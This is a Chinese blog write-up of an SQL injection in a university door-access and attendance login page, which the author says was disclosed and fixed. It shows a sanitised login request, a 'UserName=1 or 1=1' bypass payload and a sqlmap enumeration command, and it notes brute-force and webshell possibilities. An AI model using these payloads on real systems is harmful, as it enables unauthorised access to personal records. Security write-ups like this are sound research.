好久没更博客了,最近挖了下洞,分享个 sql 注入的案例

说明:漏洞已提交学校并确认修复。本文保留挖掘思路和关键 payload,目标域名、Cookie、账号、人员数据等敏感信息已脱敏。
这次测试的是某高校 WebVPN 后方的一套门禁/考勤系统。入口是一个常规登录页,字段包括账号、密码和验证码。

先抓登录请求包
登录请求大致如下,真实 Host、Cookie、路径已经脱敏:
POST /http/xxx/Page/NewSetting/Handler/LoginHandler.ashx?cmd=Login&enlink-vpn HTTP/1.1
Host: xxx.xxx.xxx.edu.cn
Cookie:ENSSESSIONID=xxxxxxxxxmxx1;clientInfo=eyJ1c2xxxxxxx;GUESTSESSIONID=xxxxxxxx; vpn_timestamp=17xxxx29
Content-Length: 62
Sec-Ch-Ua-Platform: "Windows"
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36 Edg/148.0.0.0
Accept: application/json, text/javascript, */*; q=0.01
Sec-Ch-Ua: "Chromium";v="148", "Microsoft Edge";v="148", "Not/A)Brand";v="99"
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Sec-Ch-Ua-Mobile: ?0
Origin: https://xxx.xxx.xxx.edu.cn
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://xxx.xxx.xxx.edu.cn/http/xxxxxxx/Page/NewSetting/Login.aspx
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Priority: u=1, i
Connection: keep-alive
LoginType=account&UserName=xxx&Password=xxx&ValiCode=xxxxxx
发现用户名和密码存在明文传输

并且验证码存在复用,对于登录失败次数和请求频率未做任何限制
可以一直重放,也可以进行用户名和密码爆破

爆破常见用户名和一些弱口令无果,继续测试其他漏洞
发现 UserName 参数存在 sql 注入,通过报错信息发现后端为 oracle 数据库

一开始尝试使用常见的引号和括号的组合进行闭合,发现都没办法正常闭合
想到可能是数字型的sql注入,果然使用万能密码登陆成功
Payload:
LoginType=account&UserName=1%20or%201=1&Password=111&ValiCode=50285

进入系统后,可以看到门禁/考勤相关页面,包括人员信息、账号、卡号、时间和地点等


这里还可以往后遍历用户,很多老师的账号都可以实现无密码直接登录

这里除了万能密码,我们甚至可以直接查所有的数据
比如查数据库名:
sqlmap -r .\1.txt --batch --dbs

并且验证发现,current user is DBA: True
账号具备 DBA 权限

至此,未做进一步测试,如果绝对路径能探测到并且当前情况来看是较高权限用户,可能导致webshell写入,危害将进一步扩大。
Sql 注入一般都是高危起步,目前该漏洞已修复

408

被折叠的 条评论
为什么被折叠?



